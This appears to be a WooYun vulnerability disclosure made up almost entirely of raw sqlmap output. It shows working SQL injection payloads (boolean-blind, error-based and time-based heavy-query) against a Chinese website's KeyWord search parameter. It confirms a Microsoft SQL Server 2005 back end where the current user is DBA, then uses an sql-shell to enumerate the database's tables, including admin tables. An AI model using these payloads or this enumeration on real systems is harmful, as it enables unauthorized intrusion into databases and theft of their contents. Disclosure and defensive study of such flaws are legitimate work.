WooYun.org

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: KeyWord (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: KeyWord=山东%' AND 1878=1878 AND '%'='
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: KeyWord=山东%' AND 1148=CONVERT(INT,(SELECT CHAR(113)+CHAR(118)+CHAR(118)+CHAR(120)+CHAR(113)+(SELECT (CASE WHEN (1148=1148) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR(122)+CHAR(113)+CHAR(113))) AND '%'='
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase OR time-based blind (heavy query)
    Payload: KeyWord=山东%' OR 5207=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) AND '%'='
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
current database:    'db_gykg'
current user is DBA:    True

sql-shell> SELECT DB_NAME()
[13:46:10] [INFO] fetching SQL SEL
[13:46:10] [INFO] resumed: db_gykg
SELECT DB_NAME():    'db_gykg'
sql-shell> SELECT name FROM sysobj
[13:46:28] [INFO] fetching SQL SEL
[13:46:42] [INFO] the SQL query us
[13:46:52] [INFO] retrieved: admin
[13:47:04] [INFO] retrieved: admin
[13:47:14] [INFO] retrieved: artic
[13:47:25] [INFO] retrieved: bigcl
[13:47:35] [INFO] retrieved: Custo
[13:47:43] [INFO] retrieved: link
[13:48:26] [CRITICAL] connection t
[13:48:35] [INFO] retrieved: medic
[13:48:49] [INFO] retrieved: Messa
[13:49:06] [INFO] retrieved: partn
[13:49:17] [INFO] retrieved: produ
[13:49:30] [INFO] retrieved: qq
[13:49:41] [INFO] retrieved: quest
[13:49:52] [INFO] retrieved: recru
[13:50:02] [INFO] retrieved: resum
[13:50:12] [INFO] retrieved: site
[13:50:20] [INFO] retrieved: small
[13:50:30] [INFO] retrieved: Sys_C
[13:50:39] [INFO] retrieved: sys_p
[13:50:49] [INFO] retrieved: sys_s
[13:51:00] [INFO] retrieved: userh
[13:51:10] [INFO] retrieved: webpa
SELECT name FROM sysobjects WHERE
[*] admin
[*] admintype
[*] article
[*] bigclass
[*] Customer
[*] link
[*] medicine
[*] Message
[*] partner
[*] products
[*] qq
[*] question
[*] recruitment
[*] resume
[*] site
[*] smallclass
[*] Sys_City
[*] sys_pic
[*] sys_style
[*] userhy
[*] webpage